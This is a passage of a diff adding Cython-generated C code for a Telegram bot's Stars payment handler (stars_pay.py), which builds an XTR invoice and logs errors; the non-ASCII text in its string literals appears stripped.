.", + * description=f" {amount} .", # <<<<<<<<<<<<<< + * prices=[LabeledPrice(label="XTR", amount=int(amount // RUB_TO_XTR))], + * provider_token="", + */ + __pyx_t_8 = PyTuple_New(3); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 143, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_3 = 0; + __pyx_t_30 = 127; + __Pyx_INCREF(__pyx_kp_u__14); + __pyx_t_30 = (65535 > __pyx_t_30) ? 65535 : __pyx_t_30; + __pyx_t_3 += 25; + __Pyx_GIVEREF(__pyx_kp_u__14); + PyTuple_SET_ITEM(__pyx_t_8, 0, __pyx_kp_u__14); + __pyx_t_13 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 143, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_30 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_13) > __pyx_t_30) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_13) : __pyx_t_30; + __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_13); + __Pyx_GIVEREF(__pyx_t_13); + PyTuple_SET_ITEM(__pyx_t_8, 1, __pyx_t_13); + __pyx_t_13 = 0; + __Pyx_INCREF(__pyx_kp_u__15); + __pyx_t_30 = (65535 > __pyx_t_30) ? 65535 : __pyx_t_30; + __pyx_t_3 += 8; + __Pyx_GIVEREF(__pyx_kp_u__15); + PyTuple_SET_ITEM(__pyx_t_8, 2, __pyx_kp_u__15); + __pyx_t_13 = __Pyx_PyUnicode_Join(__pyx_t_8, 3, __pyx_t_3, __pyx_t_30); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 143, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_description, __pyx_t_13) < 0) __PYX_ERR(0, 142, __pyx_L55_error) + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + + /* "handlers/payments/stars_pay.py":144 + * title=f" {amount} .", + * description=f" {amount} .", + * prices=[LabeledPrice(label="XTR", amount=int(amount // RUB_TO_XTR))], # <<<<<<<<<<<<<< + * provider_token="", + * payload=f"{amount}_stars", + */ + __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_LabeledPrice); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 144, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_8 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 144, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_8); + if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_label, __pyx_n_u_XTR) < 0) __PYX_ERR(0, 144, __pyx_L55_error) + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_RUB_TO_XTR); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 144, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_14 = PyNumber_FloorDivide(__pyx_cur_scope->__pyx_v_amount, __pyx_t_11); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 144, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyNumber_Int(__pyx_t_14); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 144, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_amount, __pyx_t_11) < 0) __PYX_ERR(0, 144, __pyx_L55_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_13, __pyx_empty_tuple, __pyx_t_8); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 144, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = PyList_New(1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 144, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_GIVEREF(__pyx_t_11); + if (__Pyx_PyList_SET_ITEM(__pyx_t_8, 0, __pyx_t_11)) __PYX_ERR(0, 144, __pyx_L55_error); + __pyx_t_11 = 0; + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_prices, __pyx_t_8) < 0) __PYX_ERR(0, 142, __pyx_L55_error) + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_provider_token, __pyx_kp_u__16) < 0) __PYX_ERR(0, 142, __pyx_L55_error) + + /* "handlers/payments/stars_pay.py":146 + * prices=[LabeledPrice(label="XTR", amount=int(amount // RUB_TO_XTR))], + * provider_token="", + * payload=f"{amount}_stars", # <<<<<<<<<<<<<< + * currency="XTR", + * reply_markup=builder.as_markup(), + */ + __pyx_t_8 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 146, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_11 = __Pyx_PyUnicode_ConcatInPlace(__pyx_t_8, __pyx_n_u_stars_2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 146, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_payload, __pyx_t_11) < 0) __PYX_ERR(0, 142, __pyx_L55_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_currency, __pyx_n_u_XTR) < 0) __PYX_ERR(0, 142, __pyx_L55_error) + + /* "handlers/payments/stars_pay.py":148 + * payload=f"{amount}_stars", + * currency="XTR", + * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< + * ) + * except Exception as e: + */ + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 148, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_13 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_8))) { + __pyx_t_13 = PyMethod_GET_SELF(__pyx_t_8); + if (likely(__pyx_t_13)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); + __Pyx_INCREF(__pyx_t_13); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_8, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_13, NULL}; + __pyx_t_11 = __Pyx_PyObject_FastCall(__pyx_t_8, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 148, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + } + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_reply_markup, __pyx_t_11) < 0) __PYX_ERR(0, 142, __pyx_L55_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + + /* "handlers/payments/stars_pay.py":141 + * ) + * + * await callback_query.message.answer_invoice( # <<<<<<<<<<<<<< + * title=f" {amount} .", + * description=f" {amount} .", + */ + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 141, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_11); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_5); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_5; + __Pyx_XGIVEREF(__pyx_t_6); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_6; + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 7; + return __pyx_r; + __pyx_L61_resume_from_await:; + __pyx_t_5 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_5); + __pyx_t_6 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_6); + __pyx_t_7 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_7); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 141, __pyx_L55_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 141, __pyx_L55_error) + } + } + + /* "handlers/payments/stars_pay.py":132 + * await state.set_state(ReplenishBalanceState.waiting_for_payment_confirmation_stars) + * + * try: # <<<<<<<<<<<<<< + * builder = InlineKeyboardBuilder() + * builder.row( + */ + } + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + goto __pyx_L60_try_end; + __pyx_L55_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_23); __pyx_t_23 = 0; + __Pyx_XDECREF(__pyx_t_24); __pyx_t_24 = 0; + __Pyx_XDECREF(__pyx_t_25); __pyx_t_25 = 0; + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + + /* "handlers/payments/stars_pay.py":150 + * reply_markup=builder.as_markup(), + * ) + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * await callback_query.message.answer(" .") + */ + __pyx_t_10 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); + if (__pyx_t_10) { + __Pyx_AddTraceback("handlers.payments.stars_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_11, &__pyx_t_2, &__pyx_t_1) < 0) __PYX_ERR(0, 150, __pyx_L57_except_error) + __Pyx_XGOTREF(__pyx_t_11); + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_e = __pyx_t_2; + /*try:*/ { + + /* "handlers/payments/stars_pay.py":151 + * ) + * except Exception as e: + * logger.error(f" : {e}") # <<<<<<<<<<<<<< + * await callback_query.message.answer(" .") + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_logger); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 151, __pyx_L67_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_t_13, __pyx_n_s_error); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 151, __pyx_L67_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_13 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 151, __pyx_L67_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_12 = __Pyx_PyUnicode_Concat(__pyx_kp_u__17, __pyx_t_13); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 151, __pyx_L67_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_13 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_14))) { + __pyx_t_13 = PyMethod_GET_SELF(__pyx_t_14); + if (likely(__pyx_t_13)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_14); + __Pyx_INCREF(__pyx_t_13); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_14, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_13, __pyx_t_12}; + __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_14, __pyx_callargs+1-__pyx_t_9, 1+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 151, __pyx_L67_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + } + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + + /* "handlers/payments/stars_pay.py":152 + * except Exception as e: + * logger.error(f" : {e}") + * await callback_query.message.answer(" .") # <<<<<<<<<<<<<< + * + * + */ + __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 152, __pyx_L67_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_t_14, __pyx_n_s_answer); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 152, __pyx_L67_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_14 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_12))) { + __pyx_t_14 = PyMethod_GET_SELF(__pyx_t_12); + if (likely(__pyx_t_14)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_12); + __Pyx_INCREF(__pyx_t_14); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_12, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_14, __pyx_kp_u__18}; + __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_12, __pyx_callargs+1-__pyx_t_9, 1+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 152, __pyx_L67_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_8); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_5); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_5; + __Pyx_XGIVEREF(__pyx_t_6); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_6; + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_11); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_11; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_SwapException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 8; + return __pyx_r; + __pyx_L69_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_5 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_5); + __pyx_t_6 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_6); + __pyx_t_7 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_11 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_11); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 152, __pyx_L67_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 152, __pyx_L67_error) + } + } + } + + /* "handlers/payments/stars_pay.py":150 + * reply_markup=builder.as_markup(), + * ) + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * await callback_query.message.answer(" .") + */ + /*finally:*/ { + /*normal exit:*/{ + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + goto __pyx_L68; + } + __pyx_L67_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_29 = 0; __pyx_t_28 = 0; __pyx_t_27 = 0; + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_XDECREF(__pyx_t_23); __pyx_t_23 = 0; + __Pyx_XDECREF(__pyx_t_24); __pyx_t_24 = 0; + __Pyx_XDECREF(__pyx_t_25); __pyx_t_25 = 0; + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_29, &__pyx_t_28, &__pyx_t_27); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_20, &__pyx_t_21, &__pyx_t_22) < 0)) __Pyx_ErrFetch(&__pyx_t_20, &__pyx_t_21, &__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_29); + __Pyx_XGOTREF(__pyx_t_28); + __Pyx_XGOTREF(__pyx_t_27); + __pyx_t_10 = __pyx_lineno; __pyx_t_15 = __pyx_clineno; __pyx_t_31 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_29); + __Pyx_XGIVEREF(__pyx_t_28); + __Pyx_XGIVEREF(__pyx_t_27); + __Pyx_ExceptionReset(__pyx_t_29, __pyx_t_28, __pyx_t_27); + } + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_ErrRestore(__pyx_t_20, __pyx_t_21, __pyx_t_22); + __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_29 = 0; __pyx_t_28 = 0; __pyx_t_27 = 0; + __pyx_lineno = __pyx_t_10; __pyx_clineno = __pyx_t_15; __pyx_filename = __pyx_t_31; + goto __pyx_L57_except_error; + } + __pyx_L68:; + } + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + goto __pyx_L56_exception_handled; + } + goto __pyx_L57_except_error; + + /* "handlers/payments/stars_pay.py":132 + * await state.set_state(ReplenishBalanceState.waiting_for_payment_confirmation_stars) + * + * try: # <<<<<<<<<<<<<< + * builder = InlineKeyboardBuilder() + * builder.row( + */ + __pyx_L57_except_error:; + __Pyx_XGIVEREF(__pyx_t_5); + __Pyx_XGIVEREF(__pyx_t_6); + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_ExceptionReset(__pyx_t_5, __pyx_t_6, __pyx_t_7); + goto __pyx_L1_error; + __pyx_L56_exception_handled:; + __Pyx_XGIVEREF(__pyx_t_5); + __Pyx_XGIVEREF(__pyx_t_6); + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_ExceptionReset(__pyx_t_5, __pyx_t_6, __pyx_t_7); + __pyx_L60_try_end:; + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/stars_pay.py":102 + * + * + * @router.callback_query(F.data.startswith("stars_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_8); + __Pyx_XDECREF(__pyx_t_11); + __Pyx_XDECREF(__pyx_t_12); + __Pyx_XDECREF(__pyx_t_13); + __Pyx_XDECREF(__pyx_t_14); + __Pyx_XDECREF(__pyx_t_23); + __Pyx_XDECREF(__pyx_t_24); + __Pyx_XDECREF(__pyx_t_25); + __Pyx_AddTraceback("process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/stars_pay.py":155 + * + * + * @router.callback_query(F.data == "enter_custom_amount_stars") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_9stars_pay_7process_enter_custom_amount(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_9stars_pay_7process_enter_custom_amount = {"process_enter_custom_amount", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_9stars_pay_7process_enter_custom_amount, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_9stars_pay_7process_enter_custom_amount(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + PyObject *__pyx_v_state = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_enter_custom_amount (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_state,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 155, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 155, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, 1); __PYX_ERR(0, 155, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_enter_custom_amount") < 0)) __PYX_ERR(0, 155, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_callback_query = values[0]; + __pyx_v_state = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 155, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.stars_pay.process_enter_custom_amount", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_9stars_pay_6process_enter_custom_amount(__pyx_self, __pyx_v_callback_query, __pyx_v_state); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_6process_enter_custom_amount(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state) { + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount *__pyx_cur_scope; + PyObject *__pyx_r = 